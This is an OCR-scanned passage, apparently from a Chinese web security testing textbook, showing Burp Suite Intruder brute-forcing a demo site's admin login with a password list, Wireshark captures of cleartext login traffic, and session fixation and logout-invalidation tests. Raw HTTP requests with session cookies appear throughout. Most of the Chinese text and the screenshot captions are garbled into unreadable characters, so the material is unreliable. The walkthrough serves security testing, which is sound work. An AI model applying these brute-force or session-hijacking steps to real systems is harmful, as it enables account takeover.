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User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:53.0) Gecko/20100101 Firefox/53.0 R
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Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to pa!
details.

Attack type: | Sniper Ny v
POST /zxkc/main, php HTTP/1.1 Add§
Host: zxkc.pocie. net

User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:53.0) Gecko/20100101 Firefox/53.0
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(2) F BRUbRE i SR &Hs DT ffipassword S 40E (I ZE1EAT 2 70 BB AR 1 % A

), JFfdi“Add §7 % BEAT AL B AR, WE4-9fR.

(3) EHFPayloadsit i+, #RJ5Hidi“Load items form file”, 7E5H H X1 HE Ak 6 5%
FIR 3R SO e < TP 42l B AR 3 A0 43R T N5 i “Start - attack” 4480 T 46 2%

FIws i, aE4-1077% .

(4) 1E8 1B 7 1 “Intruder attack 17+ A] AR 4 Length J& 148 1 B B[R] R ) Wi

T IR 2 A5 e, T d 75 Responseiik [H] {7 & 8% Status
B Ao 2 R A D, W 4117 o

AR PR A B A R SR

ABurp Suite Professional vl.7.11 — Temporary Project — licensed to Larry Lesu
Burp intruder Repeater Window Help

[ oy | spe | scamer [ | epnr | somorcr oo | conprr | sxnsr | ot [vrgons | o |

o/

1 x |k ...

[ [t [ s Lo |

@ Payload Positions 2_$$“Add§"{ﬁ$ﬂ 5 password%ﬁ ‘é‘ E‘U E %?a"§” 757%E'T7i'i

details.

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload poﬂ&s&eheu& for full

E Start attack

Attack type: | Sniper

N

POST /zxke/main.php HTTP/1.1

Host: zxke. pocie. net

User—Agent: Mozilla/5.0 (Windows NT 6.1; WOW&4: rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html, application/xhtml+xml, application/xml:q=0.9, */*:q=0.8
Accept-Language: zh-CN, zh:q=0.8, en-US:q=0.5,en:q=0. 3

Accept—Encoding: gzip, deflate

Content-Type: application/x-www-form-ur |encoded

Content-Length: 29

Referer: http://zxkc.pocie.net/zxkc/login. php

Cookie: Hm_lvt_7ca02006646c81b790a739459516dc79=1495442774; Hm_lpvt_7ca02006646c81b790a739459516dc79=1495442774
Connection: close

Upgrade-Insecure-Requests: 1

account=admin&passwor d=[123456

LA R PR S ol FF sl ik 3% Z R AR possword 2 21 (5

ST
Clear §

Auto §

Refresh

-
v

EJ EJ LZJ EJ Type a search term

0 payload positions

0 matches Clear

Length: 606

Kl4-9 IEF AR LT E R IR S HE
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1o o s | semr e | s | smere | x| comrr | |t o | v [ s |

I is | e 1.7%#% Payloads #EIF
@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload
set, and each payload type can be customized in different ways.

Payload set: E Payload count: 0 4$-fE “ Start attack ” ﬁ%%&ﬁ%hﬁ%@fi%
v (S W) e 3 s gD B AL I B YT B4

@ Payload Options [Simple list]

e

This payioad type lts you configure a simple st of strngs that ¢ sz | [ Aema () v (&) (@&
(&5 Program Fies (& saxog mywin32pc_log bet
(& Program Fies (x85) WinAuditScriptd 3 ]I
& ey (@ windows i}
(& Python27 (& vsers ] et
(& aMDownload [ AvScanner.ini [ webExdeption.dmp /

<€ o h \ ol
\ \
[ Add J Enter & newXgm A Pt int \

¥

| Add from st .. N B THRID: |HEXE \ =
2.#.d7Load items from file 4 =

@ Payload Processing

.
You can define rules fo perform various ina tasks on each pavioad before i is used. ¥
Kl4-10 5N B3 B SO I8 AT 2 DD BRI
A Intruder attack 1 mm
Burp Intruder Repeater Window He ' auack save Colmns i
[ rarget | proxy | spiter | scamer | (‘pgquts | Target | Postions | Paykads | options !
Pt Showngters @l
TM[MW:WLMMW |status  |Emor | Tmeout |Length | Comment |
@ Payload Sets : i x S g x
“You can define one or more pay | 2 user 200 a a 296
set, and each payload type can | 3 test 200 a (B
4 123456 200 a o 2.
Payload set: | 1 5 000000 200 o o 2%
Payload type: | Simpie lst 8 D0005 o u o @\
. . 175 FR P ] LLR#E Length B M E K E AR ESK BT 2 7
@ Payload Options [Simple o Erepy
yral ~
This payload type lets you confi ﬁﬁmﬁﬁ%mmﬁkli
Paste admin
user F
Load:.)] | test Date: Thu, 25 May 2017 N3 48.41 GNT .
123458 Server: Apache/2.4.23 (W32) OpenSSL/1.0.2j mod_fogid/2.3.9
Remove | | 000000 X-Powered-By: PHP/5.3.29
—— | 000006 & : Thu, 19 Nov 1981 083g2:00 GMT
Clear C::;u’:;nntr:l‘ no-::nru. no-cadhe, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache o sl = =
| Gomection: olose 2.#Respense, tHA[EIT HEEEIERE EIIAENR
" witer Content-Type: tex m e R
| |ETETE Retbitaifer4 HFRTRABERY
i $%01 <scriptralert (" SEM)EREP S ISRARIRE=IEH|WAMMBLI)! ") ;window. location. href="/zxkc/mains. php”</script>
. it
@ Paytiad Pitciaing [LJ u u [LJ [Typsasea.-ch term 0 matches.
Finished
You can define rules to perform.

4-11 AR IR (] 45 R W7 8 3 e s e e 15 R 2
(5) JEidBurp Suite TH % BRIV E IR ZARGE X KRG NIEE A CHE



HEIRSG , WE4-12F7R.
mewmxlIIIIIIIIIIIIIIIIIIIIIIII

(- @ P ok pocie net/wxlec/nains phy L‘HQT"?
PENEZLRFIEIRR

Wil [E2R] AFER|IE2IESEISENBHER
EMFTERPRIET
Hit20¢7 671

ESE =605 RiB>=805 BIF =002 EF|

&S | s 20 | mE [ e i)
1 dmin [ =L [mEzeig 100
2 eifeng [ =0 REzeig 100
125  |inpingyu el mEzes 100
141 uxiaohe e R RERSR 100
142 kiaoyao [ B mzzeiE |00
232 haniuie e lme REReig 100
251 hangingwen [ 7 mEzeig 100
344  hangjalin = [ Bew  |mEzeiE |00
409 Jijialun P =W [mmmelE 100
418 angwenxin  [** . \ﬁ%ﬁ%ﬁiﬁ 100
420 enyanting e fEee  REzein 100
T BK meEzeiE 100
433 fangiivuan e b mEzeE 100
438 Jimwe [ = ReEzeiE 100
439 Jiginhui Rew REzei; 100
442  songiiaomeng [t o REzsE 100
510 Eanﬁdaren """ 2 mEzeE 100
630 liubovang [ Re  REzeiE 100
647 Ezoulm """ ER s )

]4-12 8 1 Burp Suite T 5% J B A 1 D 0 25 A o 248 5%
4.1.3 BEH#W

(1) SEINISAERS, BRM— K, RS2 — k.
(2) Mo EE SR ARIRA IR Bk, WfE R — R P Sl SR T, 5 bl gLt
B RMOEIL 6, AE L BT FAE3/INET Sk R G

(3) FEZRAFSRVFIITEOL T, BEIN T WL AU 5 6 U A E IS 42 AT IR A B iR, SEEE
XA Z AL (17 28 AL o

4.2 X HbyJn A% i
4.2.1 38 R H#E A 7 vk

AHUIN AL Frl a2 B0 22 7 o 5 R 55 a1 e A e, BB Bl 2 kA SSL
(Security Socket Layer, Z42E#E) &A%

4.2.2 J At 72

TR IGALE 2 it 5 AR 55 28 A8 B AR AE N AL fnd FE 2 5 R SSL #EAT N ab 2,
I E RS i . AR & 4-1377



APa M FB

A

A 1

- 11

HTTPRA &% o 1

AEMAPEE é& 11

3 11

“ HTTP S hi 25 % 5i : :

('

3 'y
HITPREF & HITPS R &

Fl4-13 7 b s A% il kA A 1
AR fiHIWireshark 48 AL T H,, L5520 BIEFEI A R R FE I R 0 R R
EHRRHRIIRE, nE4-14FR .

¢ TR Ao

IHE REO NEY HRE RO 4R HHe BEO R TR0 BHW
[amdel mRERe==Fa[Elaqan
R[EASRIES -~ Cul-)>

Ho. | Time | Souree | Destination [rotocol |Length [Info
1 ©.000000 192.168.15.219 114.215.120.40 TCP 54 45349-ncube-1m(1521) [ACK] Seq=1 Ack=1 Win=16396 Len=0
3 0.128279 114.215.1208.40 192.168.15.219 TCp 86 ncube-1m(1521)+45349 [PSH, ACK] Seq=1 Ack=1 Win=64852 Len=]
4 0.328154 192.168.15.219 114.215.120.40 Tcp 54 45349-+ncube-1m(1521) [ACK] Seq=1 Ack=33 Win=16388 Len=0
5 8.456429 114.215.128.40 192.168.15.219 Tcp 76 ncube-1m(1521)+45349 [PSH, ACK] Seq=33 Ack=1 Win=64852 Lens
6 8.656080 192.168.15.219 114.215.120.40 TCcP 54 45349-+ncube-1m(1521) [ACK] Seq=1 Ack=55 Win=16383 Len=0

F4-14 15 I Wireshark o 28 91U T2 5L X Al o = 3E 47 B4 4l 5K
IR FEN S U ) B T HTTPS s X, 3N 7 48 B 3 i 34T 5 =)
e, WE4-15FT7R.



g R

'I'E@
14
793

EREREE

SWIE EEER

Lk o s,
FREOW ARme TOE QQ

K|4-15 7E Wiresharkdili 3RS T XTHTTPS I /X s 33547 8 S5 A

i
R P T

fFWireshark T. 2.
SN, ST R ok 22 B TS BRI,

IR A L BT S HTTPSI 0 X ol 5 s i R BP0, %

K 4-16i7x

A

O REQ WEE HEO WMRO S HitE BEQ XE® TRO WHW

dn relimRERes=FalS[E[@aaan

W [tep. stream eq 0

Ho. Time Source Dastination Frotecol |Length |Info
7 9.156810 15.219 96.148 TCP 54 46529+https(443) [ACK] Seg=1 Ack=1 Win=65700 Len=@
8 9.156994 15.219 96.348 TLSv1.2 276 Client Hello
9 0.159913 96.148 15.219 TCP 60 https(443)+46529 [ACK] Seq=1 Ack=223 Win=7168 Len=@
10 0.160271 96.148 15.219 TLSv1.2 191 Server Hello, Change Cipher Spec, Encrypted Handshake Message
11 @.168608 15.219 96.148 TLSv1.2 6@ Change Cipher Spec

12 0.160932 15.219

96.

14 2.164774

15 9.204753 96.148
19 @.944744 96.148
21 @.944806 15.219
22 9.959018 15.219

96. TLSvI 1514 Hello Request, Hello Request

TC F‘

192.168.15.

219 60 https(443)+46529 [ACK] Seq=138 Ack=1689 Win=10240 Len=2
192.168.15.219 Tce 60 https(443)+46529 [ACK] Seq=138 Ack=1888 Win=12800 Len=0
192.168.15.219 TLSv1.2 1407 Application Data

96.148 TCP 54 46529-https(443) [ACK] Seq=1888 Ack=1523 Win=65780 Len=0
.148 TLSv1.2 85 Encrypted Alert

[Segment count: 2]
[Reassembled TCP length: 1614]

= Secure

Content Type: Application Data (23)
Version: TLS 1.2 (@x8303)

Length: 1609

Encrypted Application Data:

ee1e
ee2e
2a3e

¥4-16 ¥ Wireshark T

4.2.3 155 @3
gl

4.3 Session]l] izt

4.3.1 Session<=> 1 [#] & M i

138 M2 EAN A E R B B RIFREE

[Reassembled TCP Data: 17030306490008000000000001b8b05c40b853dBebc34582. .. ]
Sockets

= TLSv1.2 Record Layer: Application Data Protocol: http-over-tls

BEMNNEFERIIEREE

5c48bB53dBebc34582ea89d3e045. . .

T AIMEE

FLA R P 4R 200 S HTTPS T W i - 25 7 A =2 15 0

BEWeb M ] I R 5% 2% L 035 A5 R SSLAE F IR 55 .



4.3.1.1 PR BN 5%

Session &N R G0N Ya 4 & i B A A UE I R PERR I, 7R PR B S R G,
IoKE 2 P i Session AR JB AR TRIE 25« WK AEIE 2% /7 i Sessionfn iR, 78 M IXE R R
Gy, RAEE R ZSessionbm IRBATINIES U o B0 38 ) A FH im0 2B R ] e
Sessionz= 1, H-75% FH - R By 3 A2 s [ e 21l 3T KRG8 5, A FEH 21
UNIR S

4.3.1.2 PN LFE

FEFANIB RGN, X2 R7 0 W 2 2 A SessionIDIE HEAT iC 5% . FRIRE R RS, A
RIZ R SessionID 1H -5 AT LU X G . I W ARk 2523 & 548 F 5 L Yk [F] 1) SessionID {H
HATIRBGNE, #5748 A R SessionID {H NAFE [E & 2 16 KU o R A2 a0 Bl 4-17F s

|\
4. WEEF A ENSessionlDIKH =~ O
PR2E R

»
Ll

& )

1. BT R 7 =0
5 TH F'L'Sessi D::I.ID

I 2. Al P HABGEAE Session DEFREN

L.
L4

3. RSB P EHMSessionIDFER  “prg

F4-17 Session<x i [E] 7 M A2
W RO ERRBOEW U 9B 247, WE4-18F7~.

FrFRRSRTAEARE

(- @ | =ke.po ke/mains. php ¢ |[asz
hENEZLIRFDERRSR
W [EEA] BFERIS2IBESEIE5EEN IHEHESE
ENFERPEENT -
{12077 671
M : [>=604 RIE>=004 BiFP-00451 55
mS| WS (e8| e | &&“\5{
1 dmin [ s )
2 Eeﬁené """" .?g . [meEze= |00
125 _jinpingyu sl = REzeiE |00 P
141 lwuxiaohe [ e [REEE 100 1REHEEFMESR
142 kiaoyao [ = mEzeE® 100
232 |haniuie e lm e mEEeE 100
251  hangingwen = [*e iEe RELEE 100
344  langjain [ mew [mEzmel: 00
409 Jijian [ =8 |mEzsE  [100
418 angwenxin [ o [Rezel 100
420  Iwenvanting e fEes mEzeie |10
426  phangxiu [T Ef [rEzeiE 100
433 fangiyuan [ 5 [REzeiE (100
k438 limuze e = mEzsiz 100
439  Jiginhui [ ndl B EEIR 100
442 songxiaomeng [ RN | MEELE 100
510 angdaren [ e REELZ ST 100
630 Jiuboyang [ X1/ . [meEzsz 100
47 bhouin [ Be  |meEzeE o




K4-18 FLif JFIR Y OB IR BUNIER) R 5t

W HBurp  Suite T EXTAKIR H R G TE KB AT HI, X AR IRIRALT
SessionIDIFATiE K &, WE4-1907K~ .

Buru Intruder Repeater Window Help

Torget [ sy | Seider | Scanner | ruder | Repester | Sequencer | Decoder | Comparer | Extender | Project opions | ser optons.
Jiesosat, | TP history | WebSockets istory | Options

|#] Request to nttpirzxke pocie.net80 [114.215.120.40]

Co ) o) D s (—
Raw | Params | Headers | Hex

GET /zxke/back. php HTTP/1.1

Host: zxke.pocie. net

User-Agent: Mozilla/5.0 (lrmdows NT 6.1: WOW64
Accept: text/html, applicati

rv:53.0) Gecko/20100101 Firefox/53.0
xhtml+xm| uunltcutnnn/xml:q:[) 9.%/%:070.8
Accept-Language: zh-CN. zh:q oa n-US:a=0. 5. en:a=0, 3
Accept-Encoding: gzip. deflate
efe http://zxke. pocie. net,

o Hm_Ivt_7ca02006646c81b790a; 73945‘?5”:-1 79=1495442774; PHPSESS1D=135dg j49dTheprculgniolrad3
ection: close

onn
rade-Insecure-Requests: 1 ’

1.f£F Burp Suite TR#THIEEI, HAKIE H #SessionlD
HATIERE

[ESIES LLJ (2] [1smas7

Qv

0 matches

Kl4-19 7EIR tH R G HTIMELHS SessionI DI HEAT 1 sk 4 177
HAGE, HREHFERAG, WE4-2007R.

PFRRELRFATERE  *

@\ @ & | ke, pocie. net/zxke/Login php

PIR=

‘7‘\§

e ][ s

SRR S LH ERRG

WS pamn
e
= | ma |

K4-20 IR H R G n HXERTE R RS

SR A Burp  Suite THI A UCE SRAZAUR REFEFATHI, FRAE RS L
R SR I SessionI DI HEAT LLEL,  HIIT 2 S, WiE4-2107R .
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Burp Intruder Repeater Window Help

Target [ feony | Spider | Scanner | intruder | Repeater T Sequencer TDerﬂder T Comparer TExtem‘ler I Project options I User options | Alerts
e [ e vistory | websockets istory | options

[#] Reauest to htpuizxic.pocie net 80 [114.215.120 40)
Forward Drop | terceptison | Action m— & (2
Raw | Params | Headers | Hex

GET /zxkc/mains. php HTTP/1. 1
Host: zxkc.pocie. net
User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:53.0) Gecko/20100101 Firefox/53.0

Accept: text/html, application/xhtml+xm|, application/xml g=0.9, */*.9=0.8

Accept-Language: zh-CN, zh:q=0. 8, en-US:q=0.5, en:q=0.3

Accept-Encoding: gzip, deflate

Referer: http://zxke. pocie. net/zxke/main. php

Cookie: Hm_lvt_7caD2006646c81b790a739459516dc79=1495442774; PHPSESSID=135dg j49d1heprculgniolrad3
Connection: close

Uparade-Inseoure-Requests: 1 I
ESE ’u

—
fe
hq[‘
]
[
m
’L
\u,»
mﬂ'

SessionID{E 5 L 3B H A7SessionIDE-Z2FE4E[E]

-
v

EEIEIEIN s
’4-21 ¥ W 1B 55 Session DR BEAT 1 W %F EL

4.3.1.3 155 1@

TER S R RGN, N S W& - i 2 15 %ﬁcﬂﬂ"k%%m‘%’ﬁSessanwE 15 &
AR, BRI E B EIRSS S ET, NS B W 28 BE A7 ) SessiontA IF £ i, 3
R it X Y 2 E BT AE i Session A iIE £ 1 & ﬁﬁb\ .

4.3.2 Seesion2> 15 V3 A4 M i

4.3.2.1 K S5 B AN 7 vk

Session & N FH RGUA N N 48 & v S A UGE R JE AR, R A EGR H R H &
G, RGNEE i Sessiont I & TEARURTE 2. TH R BTG & Sessmnwﬁzﬂﬁ, ZIA
SRR R, I B 35 % SessiontAIE £ 152 S HUH AR 4% 1

4.3.2.2 Mt F2

ZI R B PR RERAUE, AW BGAIESessionIDIE & 15 1K I8 E
Mo HFRBUMUESession] DA A A RN AFAE S o MR AE an Bl 4-22 s o



1. APEFRE i o

SeszsionlD

R¥EE

mR

T | 1

4. A PSessionID R RERA P 3. R &7 A PSessionID

1 FREHETBESFi#SessionID

r—-—— =771
l

RH & . % SessionID

1. APEiERSE

3. B M P#SeszionID

4-22 Seesion 1 v 45 M v A2
WIR—: WO BRI R G A FABurp  Suite T R #H T 1E R EGEESI, HEIEE
thSessiont\IF S HUE AT IRAFICR, WK 4-23. E4-24F7R.

'*#Wﬁﬁﬂ?ﬁﬁmﬂ *
i- @ P | 1xke pocis st/ rike/nains. php e ‘ Q @z

PENERSIRFAEARR

Wi [E2R] EFERIIEIESHEIEBE IR R

FZHREREFPSIENT ¢

12047 671

EHZHH - [P=605RIE=802 EFI>=905 415

Bs | s B0 BmE | W EZ)
1 dmin S [RERS|E 100
7 leifeng e e [REZSE (100
125 finpingyu ey |2 mEzei| 100
141 uxiache e R [REZSE 100
142 kiaovao e mEzeE 100
P32 aniiie 2w [REZeiE |10
251  yangjingwen i ]}ﬁ. |Wi§g?£i§ 100
344  pangiialin e Ees  [RERSE 100
409 Jijialun e e [R@ERSiE 100
1418 angwenxin s Iﬁ?ﬁﬁ%ﬁ 100
420  |wenvanting = [ B mEzei; 100
426 Fhangiru K mez2si; (100
433 fangjiyuan il = REzeE 100
438  limuze [ B [REzein 100
439 Jivjinhui e ) [mezee 100
442  kongxiaomeng e RN [RERSE 100
510  wangdaren il = ReEzeE 100
630 Jiubovang e e [mEZeiE [100
647  houlin e i [meEzeE 100

Kl4-23 E8 AL RS 0L IH
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Burp Intruder Repeater Window Help

mmmTwmsoummmTum]

L_Zj Request to hitp:/izxke.pocie.net80 [114.215.120.40]

| Forward || prop | [ iferceptison | | Acton | Comment this item 2l (2

GET /zxkc/mains. php HTTP/1.1 '

Host: zxkc.pocie. net r

User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:53.0) Gecko /20100101 Firefox/53.0

Accept: text/html, application/xhtml+xml, application/xml:q=0.9, */*:q=0.8

Accept-Language: zh-CN, zh:q=0.8, en-US:q=0.5, en:q=0.3

Accept-Encoding: gzip, deflate

Referer: http://zxke.pocie. net/zxke/main. php

Cookie: Hm_|vt_7ca02006646c816790a739459516dc79=1495442774; PHPSESS|D=ibe881bsyodk7g6fBbabheacd3

Connection: close

Upgrade-Insecure-Requests: 1

Cache—Control : max-age=0

2.7E Burp Suite T B Proxy #3115k £14% F #9SessionZ £ 5
AT RAFILR

-
v

&3] l;l ESJES] | omatches

K14-24 1 i Burp Suite T. B BHUE S IAESessionf5 B I #EAT (R 7710 3%

IR ERERECE O RAs A, R SR s kP “Send Repeater”, K iE
SRR K 1% 2 RepeatertBitlt 1, 411K 4-25F17R .

Y Burp Suite Professional vl.7.11 — Temporary Project — licensed to Larry Lau =1ofx|
Burp Intruder Repeater Window Help
Target Spider | Scanner | Intruder | Repeater WWIWIWIWTWMIUWWIM]
gﬁ HTTP history | WebSockets history | Options
EJ Request to hitpiizxke. pocie.net80 [114.215.120.40] .
— 2.3 A\Repeaterfi - = B
| Fowad || Drp | [ mierceptison | | Acton | P = Commy 22 (2
m Params | Headers | Hex
GET /zxkc/mains.php HTTP/1.1 Sendia Soider .
Host: zxkc.pocie. net S 8
User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64; rv:53.0) Gecko/20100101 Firefox/5: S e
Accept: text/html, application/xhtmi+xml, application/xml;q=0.9,*/*:q=0.8 Send to Intruder Ctri+l
Accept-Language: zh-CN, zh:q=0. 8, en-US:g=0. 5, en:q=0. 3
Accept-Encoding: gzip, deflate Send fo Sequencer
Referer: http://zxke. pocie. net/zxkc/main. php e Eone aar
Cookie: Hm_|vt_7ca02006646c81b790a739459516dc79=1495442774: PHPSESSID=ibe88 13l 9di
Send to Decoder
Connection: close
Upgrade-Insecure-Requests: 1 S e RN E e E
Cache-Control: max-age=0 Engagement tools >
Change request method
Change body encoding
Copy URL
= 25 X " 1" Copy as curl command
1.7E3 832" "Send to Repeater", i
Wz % ~ ~ v .
HEE(E B &2 ERepeaterfisi b Paste from fe
Save ttem
Don't intercept requests >
Do intercept >
Convert selection »
URL-encode as you fype
Cut CtrisX
Copy CirtsC
Paste CirisV :
Message edtor help
2 < + > !Y‘,:fa search term [ interception help 0 matches

Pl4-25 J 15 SR B S B 5% K 2 Repeater ik ot
A= FECHEBUN T TR RS, WnE4-26/17R
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@\ @ | zxke poeie. net/zxke/mains. php

c |[auz

FENFRERPHENT

PEREZLRFNEARS

win [2Es] FrerisEsEsee R

#2017 671

HHOH : |>=605THE}-805 BT =00/ 7]
W mE [ W (%
- [E | REneR 100
e e REEReR (100
= e v mEZeiE 100
e e REEeiRE 100
- Ee _ mmzer (100
e B REEeil (100
e lipe  REzRer (100
e E-o mEZSE 100
e =W mEzeiR 100
e Eem mEzelr |00
o fENS mEze® 100
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Buru Iniruder Repeater Window Help

Target | Praxy | spiser | scanner | ntruger | Repeater | sequencer | necoser | comparer | extender | eroect aptions | user optons [ aters

[1:]s

cancel | [ <iw | [ 2

[fmipn )
Request

| Raw | Params | Headers | Hex

1. B F| A R 561 Session

IEE#TER T [

Target: hitp:izxke.pocie.net l:J L‘)J

Response

[ Raw | Headers | tex

GET /zxke/mains. php HTTP/1.1
Host: zxke, pocie. et

Gecko/20100101 Firefox/53.0

Accept

text/html, application/xhtml+xml, app|
Accept-Language: zh-CN, zh:a=0. 8, en
Accept-Encoding: gzip. deflate
Cookie: Hm_lvt_7¢a02006646c81b79
PHPSESS1D=ibeBB1bsvIdk7g6fBbabheac?d
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control : max-age=0

User-Agent: Mozilla/5.0 (Windows NT 6.1

tion/xml ;g=0.9, */%.q=0.8

q=0.5,en:0=0.3

39459516dc79=1495442774;

/

L E7Session & {7+

T

0 matches

¢scriptralert ("IEEE") iwindow. location. href="/zxkc/login. php"</script>

HTTP/1.1 200 OK

Date: Wed, 31 May 2017 08:56:34 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod _fegid/2.3.9

X-Powered-By: PHP/S, 3.29

Expires: Thu, 19 Nov 1981 0B8:52:00 GMT

Cache-Control: no-store, nmo-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Connection: close

Content-Type: text/html

Content-Length: 377

T

Tl Tong-
<head,
3 charset="UTF-8">
<title> hERMBRSMESTIMARLG titled
</head>
<body>
<h2>hRRBREWF T NRG 2|

0 matches

723 bytes | 22 milis

Kl4-27 7EF B

4.3.2.3 &5 3N

TEH PR BOB R R G, AR5 we B A B84 5% Session A IE 2

W Y 2% Session )@ PEARIH .

4.3.3 SeesionZ> i 8 IF s /] 1 42

tH R Gt J5 RS F R S 1) Session V0] 28 4t 25K BB & ¢

T«E{m AI_A\}:,F‘

£ Repeater P HRAH B 15 BCECHE (5 2 UL 8y “GO™ #2HL,  FRRRIEHRAL YT ]

GE I8
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TEH P R E 5 R 43K 15 Sessiont N IE2 1 5, 1% Sessiont A IE2 16 W 2 AT A= 1 Ji 1,
B P EERII SR RSG5, WRAEREER RN (Flan105r8t) AP 5 RS A8 H
e, NAESOZH P SessiomMIES1EE R, EERA P EHE X RGIAE.

4.3.3.2 A 2

X RGBT BONER K FEATIG,  FRAR B R G R MY 55 75 KR4 A H W 4 /7 R4
VR ERS [A] 2 it Ko PRARE an E4-28 7w .

) 16:30 giﬁﬂ
BB Nain W&
L
1NE.
ki Hain @
o

[%14-28 Session2x 1% I I [a] Il 1A 2 /&
W XTOE AN RS U FHBurp  Suite T HHATIE REIR A, K HHRE 0
EPSessanwE%ﬁﬁlﬁﬁﬁﬁﬂi WiEl4-29. El4-30F 7R .
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@) (@ P ke pocie net/rxke/mains phy ¢ “Q %
Ay Fm 4y oy e Fevy
hERER SRS TR
Wil [EER] BFERIEIIESHISHREN B HRS
ENFFEBFEIENTE :
#1207 671
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1 i e e [mEzeg 100
7 e me [mEzeig 100
125 e e mEReE 100
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251 langingwen e Ee mERel| 100
344 langiialin e lmew [msmzeiE [100
409 e =R REEEeE (100
418 e [ [mmzeiE 100
1420 e fRee mEEEeE 100
426 i e B W [mETeE 100
433 fangjivuan il EELE 100
438 limuze e e BT [100
439 Jiujinhui e Rles | REReE 100
442 songxiaomen e B RERes 100
510 lwangdaren il 5= mEZ2E (100
630 Jiuboyan e Riee REZSE 100
647 __nouin e ge  [RmzeE 100
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QBurp Suite Professional v1.7.11 — Temporary Project — licensed to Larry Lau =10) x|
Burp Intruder Repeater Window Help
[ rarget [ 5oy | spiter | Scamner [ iirucer | Repester | sequencer | Decoder | Comparer | exiender | Project optons | user options | eris
 [Jssssan e istory | websockets nistory | optons |
EJ Request to http://zxkc. pocie.net:80 [114.215.120.40]
| rowars || orop | [Tterceptison | [ Acten | Comm: =:®
GET /zxkc/mains. php HTTP/1. 1 D
Host: zxke.pocie. net 2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64: rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html, application/xhtml+xml, application/xml:q=0.9, */*;q=0.8
Accept-Language: zh—CN, zh:g=0. 8, en-US:g=0. 5, en:q=0. 3
hcoept-Encoding: gzip, deflate
Referer: http://zxkc.pocie. net/zxkc/main, php
Gookie: Hm_lvt_7ca02006646c81b790a739459516dc79=1495442774; PHPSESS|D=ibeB81bsy9dk7g678babheacdd.
Connection: close
Upgrade-Insecure-Requests: 1
Cache—Control: max-age=0
2.7E Burp Suite T B Proxy t&# 5 3 1& K EHE F ASessionZ 21 {H
B REILR
v
CJEIE] | 0 matehes

&14-30 {8 FHBurp Suite T. HAHUE ¢ IAIESessionf& B I F AT IR AF 1D 5%
IR REEEEIE O P Rbs A, R SRRk “Send Repeater”, f4i5
SR J 1% 2 Repeaterfi B H, U1 E4-31 771 .



Repeater

grik

Burp Intruder Repeater Window Help
Target Spider | Scanner | Intruder | Repeater mw]m]mm]mlmm]uwm]m]
E] HTTP history | WebSockets history | Options
@ Request to hitp-//zxke pocie.net:80 [114.215.120.40] 2 :i‘% }\R F“ijl
= epeatertz &t
rs | o | () [ aom | .
Params | Headers
GET /zxkc/mains. php HTTP/1.1 : a
Sendto §
Host: zxke.pocie. net = d:“r P
User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:53.0) Gecko/20100101 Firefox/5 A aveson
Accept: text/html, application/xhtml+xml, application/xml:q=0.9, */%:q=0.8 Send to Intruder Clrid
Accept-Language: zh—CN, zh:q=0. 8, en-US:q=0. 5, en:q=0. 3
Accept-Encoding: gzip, deflate Send to Sequencer
Referer: http://zxke.pocie. net/zxke/main. php Send to Comparer
Cookie: Hm_|vt_7cad2006646c81b790a739459516dc79=1495442774; PHPSESS|D=ibe881fod
N Send to Decoder
Connection: close ’
Upgrade- Insecure-Requests: 1 Remucst i irowacs L
Cache—Control: max-age=0 Engagement tools »
Change request method
Change body encoding
Copy URL
>l Copy as curl command
S
1. fE3F S35 "Send to Repeater™, oy
K EE E B k% ERepeaterfiti Pastefrom fle
Save tem
Don't intercept requests. »
Do intercept >
Convert seiection »
URL-encode as you type
Cut Ctri+X
Copy CirisC
Paste Cirlsy :
P Message editor help ]
» Type & search term Pruxy ilsrosption b 0 matches

Kl4-31 i R EdE {5 B % Kk 2 Repeaterfii b

A= FEILJE3070 Bl WA FAE T Z AR A 2

W5 R 55 At
RRHOAH R BCEOE 5 B DU B e GO el PRSI VS MG R I &R &

ITAEH Y. 3043 8hid J57E

HARSE B AAERABUR T E A IAE S, WE4-32. K4-33r.

A Burp Suite Professional vi.7.11 — Temporary Project — licensed to Larry Leu =101 x|
Burp Intruder Repeater Window Help
[ Target | Proxy | spiter | scamer | miruder | Repeater | sequencer [ Decoder | Comparer | Extender | Project options | user optons | lens |
F] 2 6x .
Go Cancel <lw >\ Target: http:/zxke.pocie.net EJ@
Request Response 1 =] :’ﬁ:lll\lEBT_T FETJ
‘E. Params | Headers | Hex E Headers | Hex Vi
GET /zxkc/mains. php HTTP/1.1 4 HTTP/1.1 200 OK L 0
Host: zxke. pocie. net P Date Wed. 31 May 2017 07.01:07 GMT ?
User-Agent- Mozilla/5.0 (Nindows NT 6.1; WOW64: rv:53.0) Terver: Apache/2.4. 23 (Win32) OpenSsL/1.0.2j mod_fcgid/2.3.9
Gecko/20100101 Firefox/53.0 X-Powered-By: PHP/5.3.29
Accept Expires: Thu, 19 Nov 1981 08:52:00 GNT
text/html, application/xhtmi+xml, application/xml;g=0.9, */*;q=0.8 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Accept-Language: zh-CN, zh:q=0. 8, en-US;a=0. 5, en;a=0. 3 Pragma: no-cache
Accept-Encoding: gzip, deflate Connection: close
Cookie: Hm_lvt_7ca02006646c816790a7B9459516dcT9=1495442774: Content-Type: text/html
PHPSESS D=1 be88 1bsv9dk7q6FBbabheac?3 Content-Length: 4465
Connection: close
Upgrade-Insecure-Requests: 1 1
Cache-Control : max-age=0 <seriptralert ("EIBRELY, B LHEXSE D) Uscript> <html lang="en"™>
<head>

<meta charset="UTF-B">

<title> hERFRLREFTORE title>

</head>

<body>
. > PRRHBE S S EMRE 2>
>y 7% =5 4 - STap e -
2HAFPEFENETEENRERER i
T ———
